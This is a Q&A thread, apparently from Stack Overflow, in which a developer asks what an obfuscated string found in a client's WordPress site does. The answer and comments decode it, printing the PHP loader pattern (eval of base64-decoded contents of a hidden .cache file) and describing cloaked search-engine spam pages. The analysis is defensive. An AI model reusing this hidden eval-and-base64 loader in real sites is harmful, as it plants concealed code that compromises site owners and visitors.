I found an offending string in a client's WordPress-powered website, and I just want to know what it does.


Can someone outline the steps it takes to decode this? I know what preg_replace() is, but I don't know how to decode the arguments to the function, or how PHP processes it into something it can make use of.

  • I would assume the x40 means it's hex
    – bobber205
    Mar 18, 2011 at 22:52

1 Answer 1


Interesting. I like using python for this kind of task. You can follow along in a python (3.x) command line:








b'eval(base64_decode(implode("\\n",file(base64_decode("\\1")))));' L2hvbWUvd2ViL3VzZXJzLzIwMjkuYmlnNi9zaXRlcy9iaWc2L3B1YmxpY19odG1sL2ZvcnVtL2JiLWluY2x1ZGVzL2pzL2pxdWVyeS8uY2FjaGUvLiU4MjhFJTAwMTMlQjhGMyVCQzFCJUIyMkIlNEY1Nw==

That chunk of garbage is base64, as the call would imply, so let's keep going.


import base64



It looks like to get a good idea of what's going on, a closer look would be needed at the rest of the site, particularly that file that it's referencing; it's probably full of more lines of base64 encoded code. I think it is safe to assume that the site is pretty well compromised, though.. it's a good idea to pull the content and clean anything like this out, and start fresh with a new instance.

  • 2
    This tickled my brain!
    – Campo
    Mar 18, 2011 at 22:58
  • Actually, PHP has the same functions, that do the same thing. The "e" flag in preg_replace() tells PHP that once it's done substituting the L2hvb...== junk for \1 in the command there, it should execute the command. The command reads that cache file into an array, implodes it into a string (which is apparently itself base64 encoded), then evaluates it.
    – DerfK
    Mar 18, 2011 at 22:59
  • @DerfK Yeah, that hit me right after I posted - the implode() call made me stop and think, since that doesn't exist in python. Edited, thanks :) Mar 18, 2011 at 23:01
  • Just for the fun of it, I took a peek at the "/public_html/forum/bb-includes/js/jquery/.cache/.%828E%0013%B8F3%BC1B%B22B%4F57" file. The client installed Simple:Press a while back, a nice-but-primitive forum app. Mar 19, 2011 at 1:40
  • What I found in the /.cache/ directory was a collection of 10 different files, all base64 encoded. The specific file pointed to had contents related to building fake blog entries. As best as I can tell, it looks like it was only intending to show its fake pages to search engine spiders, and not to human visitors. Mar 19, 2011 at 2:02

Not the answer you're looking for? Browse other questions tagged or ask your own question.